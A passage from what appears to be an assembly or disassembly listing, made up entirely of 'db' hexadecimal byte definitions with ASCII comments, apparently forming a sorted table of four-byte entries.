db 16h ; db 0C6h ; db 3Ch ; < db 0FDh ; db 86h ; db 0C6h ; db 3Eh ; > db 8 ; db 0Bh ; db 0C6h ; db 3Eh ; > db 8 ; db 0Fh ; db 0C6h ; db 40h ; @ db 0C1h ; db 19h ; db 0C6h ; db 40h ; @ db 0C1h ; db 3Ch ; < db 0C6h ; db 44h ; D db 3Fh ; ? db 2 ; db 0C6h ; db 44h ; D db 3Fh ; ? db 3 ; db 0C6h ; db 45h ; E db 0B8h ; db 1 ; db 0C6h ; db 45h ; E db 0B9h ; db 1 ; db 0C6h ; db 45h ; E db 0CCh ; db 2 ; db 0C6h ; db 45h ; E db 0CCh ; db 7 ; db 0C6h ; db 45h ; E db 0D2h ; db 82h ; db 0C6h ; db 45h ; E db 0DAh ; db 1Bh ; db 0C6h ; db 45h ; E db 1Ch ; db 2 ; db 0C6h ; db 7 ; db 0 ; db 1 ; db 0C6h ; db 7 ; db 0 ; db 2 ; db 0C6h ; db 46h ; F db 24h ; $ db 46h ; F db 0C6h ; db 46h ; F db 24h ; $ db 5Fh ; _ db 0C6h ; db 46h ; F db 30h ; 0 db 2 ; db 0C6h ; db 46h ; F db 3Ch ; < db 2 ; db 0C6h ; db 47h ; G db 13h ; db 22h ; " db 0C6h ; db 47h ; G db 40h ; @ db 0Ah ; db 0C6h ; db 47h ; G db 42h ; B db 0Ah ; db 0C6h ; db 48h ; H db 48h ; H db 0Ah ; db 0C6h ; db 4Ch ; L db 0ADh ; db 64h ; d db 0C6h ; db 4Dh ; M db 0B5h ; db 82h ; db 0C6h ; db 4Dh ; M db 0B5h ; db 83h ; db 0C6h ; db 4Dh ; M db 0D0h ; db 4 ; db 0C6h ; db 4Dh ; M db 47h ; G db 2 ; db 0C6h ; db 8 ; db 1 ; db 6 ; db 0C6h ; db 50h ; P db 0 ; db 0Bh ; db 0C6h ; db 50h ; P db 0 ; db 6 ; db 0C6h ; db 50h ; P db 0Bh ; db 1 ; db 0C6h ; db 50h ; P db 0Eh ; db 73h ; s db 0C6h ; db 50h ; P db 14h ; db 3 ; db 0C6h ; db 50h ; P db 37h ; 7 db 1 ; db 0C6h ; db 51h ; Q db 81h ; db 0C1h ; db 0C6h ; db 51h ; Q db 0D1h ; db 2 ; db 0C6h ; db 51h ; Q db 0DAh ; db 59h ; Y db 0C6h ; db 51h ; Q db 0F6h ; db 4 ; db 0C6h ; db 52h ; R db 0A0h ; db 0F9h ; db 0C6h ; db 52h ; R db 0A5h ; db 32h ; 2 db 0C6h ; db 52h ; R db 0F7h ; db 22h ; " db 0C6h ; db 52h ; R db 0F7h ; db 62h ; b db 0C6h ; db 53h ; S db 0B1h ; db 0Ch ; db 0C6h ; db 53h ; S db 2Fh ; / db 1Dh ; db 0C6h ; db 53h ; S db 2Fh ; / db 1Eh ; db 0C6h ; db 53h ; S db 2Fh ; / db 1Fh ; db 0C6h ; db 53h ; S db 2Fh ; / db 24h ; $ db 0C6h ; db 53h ; S db 2Fh ; / db 29h ; ) db 0C6h ; db 53h ; S db 2Fh ; / db 2Bh ; + db 0C6h ; db 53h ; S db 2Fh ; / db 30h ; 0 db 0C6h ; db 53h ; S db 2Fh ; / db 31h ; 1 db 0C6h ; db 53h ; S db 2Fh ; / db 33h ; 3 db 0C6h ; db 55h ; U db 0D2h ; db 0Eh ; db 0C6h ; db 57h ; W db 12h ; db 0Ah ; db 0C6h ; db 59h ; Y db 0A0h ; db 17h ; db 0C6h ; db 9 ; db 9 ; db 9 ; db 0C6h ; db 5Bh ; [ db 46h ; F db 1 ; db 0C6h ; db 5Bh ; [ db 46h ; F db 2 ; db 0C6h ; db 5Bh ; [ db 8 ; db 0Ah ; db 0C6h ; db 5Ch ; \ db 83h ; db 80h ; db 0C6h ; db 5Fh ; _ db 10h ; db 3 ; db 0C6h ; db 5Fh ; _ db 0FBh ; db 0Ah ; db 0C6h ; db 5Fh ; _ db 20h ; db 4 ; db 0C6h ; db 61h ; a db 43h ; C db 32h ; 2 db 0C6h ; db 61h ; a db 43h ; C db 33h ; 3 db 0C7h ; db 0 ; db 9Bh ; db 2 ; db 0C7h ; db 0 ; db 9Bh ; db 6 ; db 0C7h ; db 0 ; db 0D8h ; db 1 ; db 0C7h ; db 0 ; db 0D8h ; db 0DEh ; db 0C7h ; db 0 ; db 46h ; F db 15h ; db 0C7h ; db 0 ; db 46h ; F db 17h ; db 0C7h ; db 1 ; db 5Bh ; [ db 2 ; db 0C7h ; db 1 ; db 5Bh ; [ db 8 ; db 0C7h ; db 68h ; h db 51h ; Q db 3 ; db 0C7h ; db 68h ; h db 51h ; Q db 6 ; db 0C7h ; db 69h ; i db 78h ; x db 2 ; db 0C7h ; db 69h ; i db 7Bh ; { db 4 ; db 0C7h ; db 69h ; i db 0BAh ; db 6 ; db 0C7h ; db 69h ; i db 0BAh ; db 9 ; db 0C7h ; db 6Bh ; k db 0F0h ; db 42h ; B db 0C7h ; db 6Bh ; k db 0F2h ; db 0Bh ; db 0C7h ; db 6Ch ; l db 0FDh ; db 32h ; 2 db 0C7h ; db 75h ; u db 1Bh ; db 15h ; db 0C7h ; db 75h ; u db 60h ; ` db 16h ; db 0C7h ; db 78h ; x db 74h ; t db 1 ; db 0C7h ; db 7Ch ; | db 0Fh ; db 22h ; " db 0C7h ; db 7Dh ; } db 55h ; U db 1 ; db 0C7h ; db 80h ; db 40h ; @ db 2 ; db 0C7h ; db 8Dh ; db 7Eh ; ~ db 0CAh ; db 0C7h ; db 8Dh ; db 7Eh ; ~ db 0CEh ; db 0C7h ; db 0A5h ; db 92h ; db 23h ; # db 0C7h ; db 0A5h ; db 92h ; db 24h ; $ db 0C7h ; db 0A5h ; db 98h ; db 0Ch ; db 0C7h ; db 0A5h ; db 98h ; db 2 ; db 0C7h ; db 0A6h ; db 0C4h ; db 2Ch ; , db 0C7h ; db 0A6h ; db 0D2h ; db 5 ; db 0C7h ; db 0A6h ; db 0E3h ; db 1 ; db 0C7h ; db 0A6h ; db 0E3h ; db 5 ; db 0C7h ; db 0A6h ; db 0FEh ; db 0FEh ; db 0C7h ; db 0A6h ; db 0FEh ; db 4 ; db 0C7h ; db 11h ; db 0FFh ; db 1 ; db 0C7h ; db 0AAh ; db 79h ; y db 2 ; db 0C7h ; db 0ABh ; db 10h ; db 64h ; d db 0C7h ; db 0ABh ; db 10h ; db 2 ; db 0C7h ; db 0ABh ; db 0A7h ; db 2 ; db 0C7h ; db 0ABh ; db 0A7h ; db 4 ; db 0C7h ; db 0ABh ; db 37h ; 7 db 1Eh ; db 0C7h ; db 0ACh ; db 0A9h ; db 10h ; db 0C7h ; db 0AFh ; db 89h ; db 0EDh ; db 0C7h ; db 0AFh ; db 89h ; db 0FDh ; db 0C7h ; db 0B5h ; db 0EAh ; db 6 ; db 0C7h ; db 0B7h ; db 9 ; db 2 ; db 0C7h ; db 0B7h ; db 9 ; db 4 ; db 0C7h ; db 0B7h ; db 9 ; db 5 ; db 0C7h ; db 0B8h ; db 77h ; w db 1 ; db 0C7h ; db 0B8h ; db 77h ; w db 14h ; db 0C7h ; db 0BEh ; db 80h ; db 0Ah ; db 0C7h ; db 0BEh ; db 41h ; A db 3 ; db 0C7h ; db 0BEh ; db 49h ; I db 2 ; db 0C7h ; db 0BFh ; db 80h ; db 69h ; i db 0C7h ; db 0BFh ; db 80h ; db 6Ah ; j db 0C7h ; db 0BFh ; db 80h ; db 2Bh ; + db 0C7h ; db 0BFh ; db 81h ; db 8Bh ; db 0C7h ; db 0BFh ; db 90h ; db 4Bh ; K db 0C7h ; db 0BFh ; db 91h ; db 88h ; db 0C7h ; db 0C7h ; db 0DCh ; db 2 ; db 0C7h ; db 0C7h ; db 0DCh ; db 5 ; db 0C7h ; db 2 ; db 0FCh ; db 0Ah ; db 0C7h ; db 0C9h ; db 80h ; db 2 ; db 0C7h ; db 0C9h ; db 0C0h ; db 0Fh ; db 0C7h ; db 0CAh ; db 75h ; u db 76h ; v db 0C7h ; db 0CAh ; db 37h ; 7 db 0Ah ; db 0C7h ; db 0CAh ; db 37h ; 7 db 2 ; db 0C7h ; db 0CAh ; db 49h ; I db 23h ; # db 0C7h ; db 0CBh ; db 1 ; db 14h ; db 0C7h ; db 0D0h ; db 9Dh ; db 23h ; # db 0C7h ; db 0D0h ; db 0ACh ; db 82h ; db 0C7h ; db 0D1h ; db 26h ; & db 0C8h ; db 0C7h ; db 0D3h ; db 95h ; db 9 ; db 0C7h ; db 0D3h ; db 0D7h ; db 42h ; B db 0C7h ; db 0D3h ; db 0E1h ; db 0C1h ; db 0C7h ; db 0D3h ; db 53h ; S db 0C4h ; db 0C7h ; db 0D3h ; db 53h ; S db 0CFh ; db 0C7h ; db 0D4h ; db 79h ; y db 4 ; db 0C7h ; db 0D4h ; db 79h ; y db 9 ; db 0C7h ; db 0D4h ; db 86h ; db 1 ; db 0C7h ; db 0D4h ; db 86h ; db 2 ; db 0C7h ; db 0D4h ; db 11h ; db 22h ; " db 0C7h ; db 0D4h ; db 11h ; db 23h ; # db 0C7h ; db 0D4h ; db 0E5h ; db 3 ; db 0C7h ; db 0D4h ; db 2Dh ; - db 0FCh ; db 0C7h ; db 0D9h ; db 0FDh ; db 0Ah ; db 0C7h ; db 0DAh ; db 71h ; q db 2 ; db 0C7h ; db 0DAh ; db 71h ; q db 14h ; db 0C7h ; db 0DAh ; db 0FEh ; db 98h ; db 0C7h ; db 0DAh ; db 0FEh ; db 5Ah ; Z db 0C7h ; db 16h ; db 38h ; 8 db 0C8h ; db 0C7h ; db 16h ; db 39h ; 9 db 0C8h ; db 0C7h ; db 0DDh ; db 2Fh ; / db 7 ; db 0C7h ; db 0DDh ; db 2Fh ; / db 8 ; db 0C7h ; db 0DDh ; db 62h ; b db 5 ; db 0C7h ; db 0DEh ; db 0B7h ; db 53h ; S db 0C7h ; db 0DEh ; db 0BEh ; db 44h ; D db 0C7h ; db 0DEh ; db 4 ; db 69h ; i db 0C7h ; db 0DEh ; db 4 ; db 5 ; db 0C7h ; db 0DEh ; db 35h ; 5 db 2 ; db 0C7h ; db 0DEh ; db 60h ; ` db 7 ; db 0C7h ; db 0E0h ; db 0Ah ; db 2 ; db 0C7h ; db 0E4h ; db 8Eh ; db 4Eh ; N db 0C7h ; db 0E7h ; db 96h ; db 0B0h ; db 0C7h ; db 0E8h ; db 29h ; ) db 0C2h ; db 0C7h ; db 0EEh ; db 0C8h ; db 73h ; s db 0C7h ; db 0F0h ; db 82h ; db 13h ; db 0C7h ; db 0F0h ; db 82h ; db 14h ; db 0C7h ; db 0F2h ; db 0CEh ; db 1 ; db 0C7h ; db 0F3h ; db 0E1h ; db 0Ah ; db 0C7h ; db 0F3h ; db 0E1h ; db 0Bh ; db 0C7h ; db 0F3h ; db 0F2h ; db 2 ; db 0C7h ; db 0F9h ; db 12h ; db 1 ; db 0C7h ; db 0F9h ; db 13h ; db 1 ; db 0C7h ; db 0FAh ; db 0Dh ; db 66h ; f db 0C7h ; db 0FAh ; db 15h ; db 14h ; db 0C7h ; db 0FAh ; db 8 ; db 0C3h ; db 0C7h ; db 0FCh ; db 9Ah ; db 0FBh ; db 0C7h ; db 0FCh ; db 0A2h ; db 0FBh ; db 0C7h ; db 0FCh ; db 0B4h ; db 0FBh ; db 0C7h ; db 0FEh ; db 94h ; db 29h ; ) db 0C7h ; db 0FEh ; db 94h ; db 2Ah ; * db 0C7h ; db 0FEh ; db 9Dh ; db 28h ; ( db 0C7h ; db 0FEh ; db 0EFh ; db 0BDh ; db 0C7h ; db 1Ah ; db 0CAh ; db 64h ; d db 0C7h ; db 1Dh ; db 84h ; db 2 ; db 0C7h ; db 1Fh ; db 3 ; db 28h ; ( db 0C7h ; db 21h ; ! db 0A1h ; db 0D2h ; db 0C7h ; db 22h ; " db 10h ; db 2 ; db 0C7h ; db 22h ; " db 10h ; db 5 ; db 0C7h ; db 29h ; ) db 0FEh ; db 0A6h ; db 0C7h ; db 2Ch ; , db 2 ; db 0Ah ; db 0C7h ; db 2Ch ; , db 2Eh ; . db 4 ; db 0C7h ; db 2Ch ; , db 2Eh ; . db 5 ; db 0C7h ; db 2Ch ; , db 9 ; db 62h ; b db 0C7h ; db 2Dh ; - db 1 ; db 14h ; db 0C7h ; db 2Dh ; - db 0Bh ; db 14h ; db 0C7h ; db 2Dh ; - db 8Dh ; db 1 ; db 0C7h ; db 2Dh ; - db 92h ; db 1 ; db 0C7h ; db 2Dh ; - db 0FFh ; db 1 ; db 0C7h ; db 2Dh ; - db 20h ; db 25h ; % db 0C7h ; db 2Dh ; - db 20h ; db 26h ; & db 0C7h ; db 2Dh ; - db 2Dh ; - db 0Eh ; db 0C7h ; db 2Eh ; . db 0C6h ; db 41h ; A db 0C7h ; db 2Eh ; . db 0C7h ; db 41h ; A db 0C7h ; db 2Eh ; . db 0C8h ; db 41h ; A db 0C7h ; db 5 ; db 0AFh ; db 14h ; db 0C7h ; db 5 ; db 0AFh ; db 15h ; db 0C7h ; db 32h ; 2 db 1Ah ; db 0Bh ; db 0C7h ; db 3Ch ; < db 76h ; v db 2 ; db 0C7h ; db 3Ch ; < db 0EDh ; db 1 ; db 0C7h ; db 3Ch ; < db 0EDh ; db 2 ; db 0C7h ; db 48h ; H db 1 ; db 1 ; db 0C7h ; db 4Fh ; O db 0B3h ; db 64h ; d db 0C7h ; db 4Fh ; O db 0B3h ; db 0C8h ; db 0C7h ; db 51h ; Q db 0C1h ; db 64h ; d db 0C7h ; db 51h ; Q db 0C3h ; db 8 ; db 0C7h ; db 54h ; T db 9Ah ; db 41h ; A db 0C7h ; db 54h ; T db 0F2h ; db 16h ; db 0C7h ; db 54h ; T db 36h ; 6 db 2Ch ; , db 0C7h ; db 58h ; X db 0EAh ; db 7Dh ; } db 0C7h ; db 58h ; X db 0EAh ; db 3Dh ; = db 0C7h ; db 59h ; Y db 40h ; @ db 47h ; G db 0C7h ; db 59h ; Y db 40h ; @ db 48h ; H db 0C7h ; db 5Bh ; [ db 21h ; ! db 14h ; db 0C7h ; db 5Bh ; [ db 24h ; $ db 14h ; db 0C7h ; db 5Eh ; ^ db 61h ; a db 33h ; 3 db 0C7h ; db 62h ; b db 0B0h ; db 82h ; db 0C7h ; db 62h ; b db 0B0h ; db 83h ; db 0C7h ; db 63h ; c db 0B2h ; db 0FAh ; db 0C8h ; db 0 ; db 0C1h ; db 62h ; b db 0C8h ; db 0 ; db 0C2h ; db 2Eh ; . db 0C8h ; db 0 ; db 0E0h ; db 2 ; db 0C8h ; db 1 ; db 0ABh ; db 81h ; db 0C8h ; db 0Ah ; db 0CAh ; db 3 ; db 0C8h ; db 0Ah ; db 0CAh ; db 4 ; db 0C8h ; db 83h ; db 1 ; db 33h ; 3 db 0C8h ; db 87h ; db 0 ; db 3 ; db 0C8h ; db 10h ; db 61h ; a db 11h ; db 0C8h ; db 10h ; db 62h ; b db 2 ; db 0C8h ; db 13h ; db 77h ; w db 7Dh ; } db 0C8h ; db 13h ; db 77h ; w db 63h ; c db 0C8h ; db 15h ; db 0C8h ; db 2 ; db 0C8h ; db 15h ; db 40h ; @ db 2 ; db 0C8h ; db 17h ; db 1 ; db 1 ; db 0C8h ; db 17h ; db 0F2h ; db 0C1h ; db 0C8h ; db 0FFh ; db 0FDh ; db 0EAh ; db 0C8h ; db 1Bh ; db 2 ; db 2 ; db 0C8h ; db 1Bh ; db 2 ; db 7 ; db 0C8h ; db 1Ch ; db 0D8h ; db 1 ; db 0C8h ; db 1Ch ; db 0D8h ; db 2 ; db 0C8h ; db 1Dh ; db 28h ; ( db 15h ; db 0C8h ; db 1Dh ; db 28h ; ( db 16h ; db 0C8h ; db 1Eh ; db 24h ; $ db 8 ; db 0C8h ; db 1Fh ; db 7 ; db 2 ; db 0C8h ; db 1Fh ; db 7 ; db 8 ; db 0C8h ; db 21h ; ! db 92h ; db 0D5h ; db 0C8h ; db 21h ; ! db 96h ; db 0C1h ; db 0C8h ; db 21h ; ! db 0D1h ; db 42h ; B db 0C8h ; db 21h ; ! db 0D5h ; db 42h ; B db 0C8h ; db 2Ch ; , db 20h ; db 0Bh ; db 0C8h ; db 2Ch ; , db 20h ; db 0Dh ; db 0C8h ; db 2Dh ; - db 0 ; db 73h ; s db 0C8h ; db 2Dh ; - db 0 ; db 74h ; t db 0C8h ; db 36h ; 6 db 0 ; db 0Ah ; db 0C8h ; db 36h ; 6 db 0 ; db 8Ah ; db 0C8h ; db 3Eh ; > db 3 ; db 3 ; db 0C8h ; db 9 ; db 0D4h ; db 3 ; db 0C8h ; db 9 ; db 0F4h ; db 4 ; db 0C8h ; db 9 ; db 0F4h ; db 6 ; db 0CAh ; db 0 ; db 0B8h ; db 0Ah ; db 0CAh ; db 0 ; db 0B8h ; db 5 ; db 0CAh ; db 1 ; db 34h ; 4 db 2Ch ; , db 0CAh ; db 1 ; db 34h ; 4 db 2Dh ; - db 0CAh ; db 65h ; e db 62h ; b db 36h ; 6 db 0CAh ; db 65h ; e db 62h ; b db 37h ; 7 db 0CAh ; db 66h ; f db 0Fh ; db 0A2h ; db 0CAh ; db 66h ; f db 1Dh ; db 3 ; db 0CAh ; db 6Ah ; j db 94h ; db 1 ; db 0CAh ; db 6Ah ; j db 94h ; db 9 ; db 0CAh ; db 6Ah ; j db 0C4h ; db 1Ch ; db 0CAh ; db 0Bh ; db 0 ; db 1 ; db 0CAh ; db 0Bh ; db 0 ; db 2 ; db 0CAh ; db 0Bh ; db 64h ; d db 1 ; db 0CAh ; db 0Bh ; db 64h ; d db 3 ; db 0CAh ; db 0Bh ; db 68h ; h db 1 ; db 0CAh ; db 0Bh ; db 0Ch ; db 43h ; C db 0CAh ; db 0Bh ; db 78h ; x db 0C8h ; db 0CAh ; db 0Bh ; db 78h ; x db 0C9h ; db 0CAh ; db 0Bh ; db 8Ah ; db 60h ; ` db 0CAh ; db 0Bh ; db 0A0h ; db 81h ; db 0CAh ; db 0Bh ; db 0A4h ; db 85h ; db 0CAh ; db 0Bh ; db 0A4h ; db 3Ch ; < db 0CAh ; db 0Bh ; db 0A7h ; db 14h ; db 0CAh ; db 0Bh ; db 0A9h ; db 2 ; db 0CAh ; db 0Bh ; db 0A9h ; db 4 ; db 0CAh ; db 0Bh ; db 0B8h ; db 1 ; db 0CAh ; db 0Bh ; db 0B8h ; db 3 ; db 0CAh ; db 0Bh ; db 0C0h ; db 0Ah ; db 0CAh ; db 0Bh ; db 0C3h ; db 0Ah ; db 0CAh ; db 0Bh ; db 0C7h ; db 0Bh ; db 0CAh ; db 0Bh ; db 0C8h ; db 2 ; db 0CAh ; db 0Bh ; db 0C9h ; db 0Bh ; db 0CAh ; db 0Bh ; db 0CBh ; db 0Bh ; db 0CAh ; db 0Bh ; db 0D4h ; db 1 ; db 0CAh ; db 0Bh ; db 0D6h ; db 22h ; " db 0CAh ; db 0Bh ; db 0D8h ; db 0C2h ; db 0CAh ; db 0Bh ; db 0E3h ; db 11h ; db 0CAh ; db 0Bh ; db 0FCh ; db 2 ; db 0CAh ; db 70h ; p db 0 ; db 21h ; ! db 0CAh ; db 70h ; p db 0 ; db 22h ; " db 0CAh ; db 70h ; p db 0 ; db 23h ; # db 0CAh ; db 70h ; p db 0Bh ; db 82h ; db 0CAh ; db 70h ; p db 0Eh ; db 0A1h ; db 0CAh ; db 70h ; p db 11h ; db 21h ; ! db 0CAh ; db 70h ; p db 14h ; db 83h ; db 0CAh ; db 70h ; p db 17h ; db 0A1h ; db 0CAh ; db 70h ; p db 17h ; db 0A2h ; db 0CAh ; db 70h ; p db 1Ah ; db 22h ; " db 0CAh ; db 70h ; p db 1Dh ; db 55h ; U db 0CAh ; db 70h ; p db 1Dh ; db 57h ; W db 0CAh ; db 0Ch ; db 90h ; db 0Ah ; db 0CAh ; db 0Ch ; db 90h ; db 0Bh ; db 0CAh ; db 0Ch ; db 1Ch ; db 83h ; db 0CAh ; db 0Ch ; db 1Eh ; db 83h ; db 0CAh ; db 0Ch ; db 5Dh ; ] db 0FEh ; db 0CAh ; db 80h ; db 0 ; db 2 ; db 0CAh ; db 80h ; db 7 ; db 1 ; db 0CAh ; db 0Dh ; db 0D1h ; db 0Eh ; db 0CAh ; db 82h ; db 0A4h ; db 1 ; db 0CAh ; db 82h ; db 0A4h ; db 2 ; db 0CAh ; db 83h ; db 68h ; h db 2 ; db 0CAh ; db 83h ; db 90h ; db 1Bh ; db 0CAh ; db 84h ; db 0FFh ; db 0BCh ; db 0CAh ; db 84h ; db 0FFh ; db 0BDh ; db 0CAh ; db 87h ; db 0BCh ; db 0Ah ; db 0CAh ; db 87h ; db 0BCh ; db 0Bh ; db 0CAh ; db 8Bh ; db 53h ; S db 3 ; db 0CAh ; db 0Eh ; db 0B1h ; db 1 ; db 0CAh ; db 0Eh ; db 0DDh ; db 0FEh ; db 0CAh ; db 0Eh ; db 43h ; C db 0Eh ; db 0CAh ; db 0Eh ; db 43h ; C db 4 ; db 0CAh ; db 8Dh ; db 1 ; db 83h ; db 0CAh ; db 8Dh ; db 96h ; db 12h ; db 0CAh ; db 8Dh ; db 18h ; db 2 ; db 0CAh ; db 8Dh ; db 28h ; ( db 1Ch ; db 0CAh ; db 90h ; db 0Ah ; db 32h ; 2 db 0CAh ; db 90h ; db 0Dh ; db 32h ; 2 db 0CAh ; db 91h ; db 8Ah ; db 0C8h ; db 0CAh ; db 0Fh ; db 70h ; p db 22h ; " db 0CAh ; db 0Fh ; db 27h ; ' db 0Ch ; db 0CAh ; db 97h ; db 57h ; W db 12h ; db 0CAh ; db 97h ; db 58h ; X db 1Eh ; db 0CAh ; db 0A0h ; db 8 ; db 2 ; db 0CAh ; db 0A1h ; db 7Ch ; | db 1 ; db 0CAh ; db 0A1h ; db 7Ch ; | db 2 ; db 0CAh ; db 0ABh ; db 40h ; @ db 9 ; db 0CAh ; db 0B2h ; db 0F4h ; db 0CFh ; db 0CAh ; db 0B2h ; db 0FFh ; db 0Ah ; db 0CAh ; db 0B5h ; db 0E0h ; db 2 ; db 0CAh ; db 0B5h ; db 0E0h ; db 3 ; db 0CAh ; db 0B5h ; db 0EAh ; db 0BDh ; db 0CAh ; db 0B5h ; db 0EAh ; db 0BEh ; db 0CAh ; db 0B5h ; db 20h ; db 3 ; db 0CAh ; db 0B5h ; db 20h ; db 6 ; db 0CAh ; db 0B5h ; db 40h ; @ db 82h ; db 0CAh ; db 0B5h ; db 40h ; @ db 0C3h ; db 0CAh ; db 0B7h ; db 0CFh ; db 16h ; db 0CAh ; db 13h ; db 88h ; db 14h ; db 0CAh ; db 14h ; db 5Dh ; ] db 0Ah ; db 0CAh ; db 0C8h ; db 0C8h ; db 1 ; db 0CAh ; db 0C9h ; db 0 ; db 83h ; db 0CAh ; db 0C9h ; db 6Ah ; j db 9 ; db 0CAh ; db 0C9h ; db 12h ; db 15h ; db 0CAh ; db 0C9h ; db 0FCh ; db 1 ; db 0CAh ; db 0C9h ; db 30h ; 0 db 1 ; db 0CAh ; db 0D0h ; db 0E4h ; db 21h ; ! db 0CAh ; db 0D0h ; db 0E4h ; db 22h ; " db 0CAh ; db 15h ; db 95h ; db 21h ; ! db 0CAh ; db 15h ; db 20h ; db 1 ; db 0CAh ; db 15h ; db 20h ; db 4 ; db 0CAh ; db 0D3h ; db 0 ; db 0Eh ; db 0CAh ; db 0D3h ; db 1 ; db 2 ; db 0CAh ; db 0D3h ; db 0Ah ; db 0Ah ; db 0CAh ; db 0D3h ; db 68h ; h db 3 ; db 0CAh ; db 0D3h ; db 69h ; i db 2 ; db 0CAh ; db 0D3h ; db 0Ch ; db 4 ; db 0CAh ; db 0D3h ; db 82h ; db 36h ; 6 db 0CAh ; db 0D3h ; db 82h ; db 37h ; 7 db 0CAh ; db 0D3h ; db 86h ; db 0Bh ; db 0CAh ; db 0D3h ; db 8Bh ; db 81h ; db 0CAh ; db 0D3h ; db 0Eh ; db 2 ; db 0CAh ; db 0D3h ; db 98h ; db 0DDh ; db 0CAh ; db 0D3h ; db 9Ah ; db 14h ; db 0CAh ; db 0D3h ; db 10h ; db 0F1h ; db 0CAh ; db 0D3h ; db 11h ; db 0FDh ; db 0CAh ; db 0D3h ; db 12h ; db 2 ; db 0CAh ; db 0D3h ; db 0BAh ; db 42h ; B db 0CAh ; db 0D3h ; db 2 ; db 0F1h ; db 0CAh ; db 0D3h ; db 14h ; db 2 ; db 0CAh ; db 0D3h ; db 0D2h ; db 2 ; db 0CAh ; db 0D3h ; db 0D2h ; db 5 ; db 0CAh ; db 0D3h ; db 0DAh ; db 2 ; db 0CAh ; db 0D3h ; db 0DEh ; db 0FDh ; db 0CAh ; db 0D3h ; db 0E4h ; db 59h ; Y db 0CAh ; db 0D3h ; db 18h ; db 3 ; db 0CAh ; db 0D3h ; db 0F6h ; db 10h ; db 0CAh ; db 0D3h ; db 0F7h ; db 1 ; db 0CAh ; db 0D3h ; db 1Bh ; db 20h ; db 0CAh ; db 0D3h ; db 1Ch ; db 2 ; db 0CAh ; db 0D3h ; db 1Eh ; db 1 ; db 0CAh ; db 0D3h ; db 20h ; db 46h ; F db 0CAh ; db 0D3h ; db 21h ; ! db 49h ; I db 0CAh ; db 0D3h ; db 21h ; ! db 50h ; P db 0CAh ; db 0D3h ; db 4 ; db 3 ; db 0CAh ; db 0D3h ; db 31h ; 1 db 13h ; db 0CAh ; db 0D3h ; db 32h ; 2 db 1 ; db 0CAh ; db 0D3h ; db 38h ; 8 db 46h ; F db 0CAh ; db 0D3h ; db 3Ah ; : db 3 ; db 0CAh ; db 0D3h ; db 6 ; db 0FCh ; db 0CAh ; db 0D3h ; db 40h ; @ db 82h ; db 0CAh ; db 0D3h ; db 42h ; B db 1 ; db 0CAh ; db 0D4h ; db 0Ah ; db 1 ; db 0CAh ; db 0D4h ; db 0Ah ; db 3 ; db 0CAh ; db 0D5h ; db 0C3h ; db 2 ; db 0CAh ; db 0D6h ; db 95h ; db 0Ah ; db 0CAh ; db 0D6h ; db 95h ; db 0Bh ; db 0CAh ; db 0D6h ; db 2Dh ; - db 0Bh ; db 0CAh ; db 0D6h ; db 59h ; Y db 82h ; db 0CAh ; db 0D7h ; db 1 ; db 0C1h ; db 0CAh ; db 0D8h ; db 0E0h ; db 42h ; B db 0CAh ; db 0D8h ; db 0E0h ; db 43h ; C db 0CAh ; db 0D9h ; db 0 ; db 1Eh ; db 0CAh ; db 0DBh ; db 0B1h ; db 79h ; y db 0CAh ; db 0DCh ; db 80h ; db 2 ; db 0CAh ; db 0DCh ; db 8Ch ; db 4 ; db 0CAh ; db 0DDh ; db 82h ; db 83h ; db 0CAh ; db 0DDh ; db 84h ; db 0FDh ; db 0CAh ; db 0DDh ; db 87h ; db 42h ; B db 0CAh ; db 0DDh ; db 8Ch ; db 0F2h ; db 0CAh ; db 0DDh ; db 91h ; db 1 ; db 0CAh ; db 0DDh ; db 96h ; db 2 ; db 0CAh ; db 0DDh ; db 97h ; db 22h ; " db 0CAh ; db 0DDh ; db 99h ; db 0Bh ; db 0CAh ; db 0DDh ; db 99h ; db 0Ch ; db 0CAh ; db 0DDh ; db 9Bh ; db 0Bh ; db 0CAh ; db 0DDh ; db 10h ; db 4 ; db 0CAh ; db 0DDh ; db 0A2h ; db 1 ; db 0CAh ; db 0DDh ; db 0A2h ; db 2 ; db 0CAh ; db 0DDh ; db 0AAh ; db 4 ; db 0CAh ; db 0DDh ; db 0BCh ; db 2 ; db 0CAh ; db 0DDh ; db 0BDh ; db 0FEh ; db 0CAh ; db 0DDh ; db 0C1h ; db 0Ch ; db 0CAh ; db 0DDh ; db 0C6h ; db 14h ; db 0CAh ; db 0DDh ; db 0C7h ; db 81h ; db 0CAh ; db 0DDh ; db 2 ; db 60h ; ` db 0CAh ; db 0DDh ; db 2 ; db 61h ; a db 0CAh ; db 0DDh ; db 14h ; db 2 ; db 0CAh ; db 0DDh ; db 0CAh ; db 2 ; db 0CAh ; db 0DDh ; db 0D6h ; db 3 ; db 0CAh ; db 0DDh ; db 0DAh ; db 1 ; db 0CAh ; db 0DDh ; db 16h ; db 3 ; db 0CAh ; db 0DDh ; db 17h ; db 0Ah ; db 0CAh ; db 0DDh ; db 17h ; db 0Bh ; db 0CAh ; db 0DDh ; db 0F8h ; db 41h ; A db 0CAh ; db 0DDh ; db 0F9h ; db 0E3h ; db 0CAh ; db 0DDh ; db 0FBh ; db 0Bh ; db 0CAh ; db 0DDh ; db 0FEh ; db 3 ; db 0CAh ; db 0DDh ; db 1Bh ; db 2 ; db 0CAh ; db 0DDh ; db 1Fh ; db 1 ; db 0CAh ; db 0DDh ; db 1Fh ; db 2 ; db 0CAh ; db 0DDh ; db 4 ; db 43h ; C db 0CAh ; db 0DDh ; db 28h ; ( db 1 ; db 0CAh ; db 0DDh ; db 29h ; ) db 2 ; db 0CAh ; db 0DDh ; db 2Bh ; + db 3Bh ; ; db 0CAh ; db 0DDh ; db 2Dh ; - db 2 ; db 0CAh ; db 0DDh ; db 2Dh ; - db 3 ; db 0CAh ; db 0DDh ; db 2Eh ; . db 2 ; db 0CAh ; db 0DDh ; db 33h ; 3 db 2 ; db 0CAh ; db 0DDh ; db 34h ; 4 db 1 ; db 0CAh ; db 0DDh ; db 37h ; 7 db 82h ; db 0CAh ; db 0DDh ; db 38h ; 8 db 3 ; db 0CAh ; db 0DDh ; db 6 ; db 6 ; db 0CAh ; db 0DDh ; db 8 ; db 8Eh ; db 0CAh ; db 0E0h ; db 40h ; @ db 96h ; db 0CAh ; db 0E0h ; db 40h ; @ db 42h ; B db 0CAh ; db 0E1h ; db 82h ; db 1 ; db 0CAh ; db 0E1h ; db 0A2h ; db 1 ; db 0CAh ; db 0E1h ; db 31h ; 1 db 0E6h ; db 0CAh ; db 0E1h ; db 5Eh ; ^ db 0E1h ; db 0CAh ; db 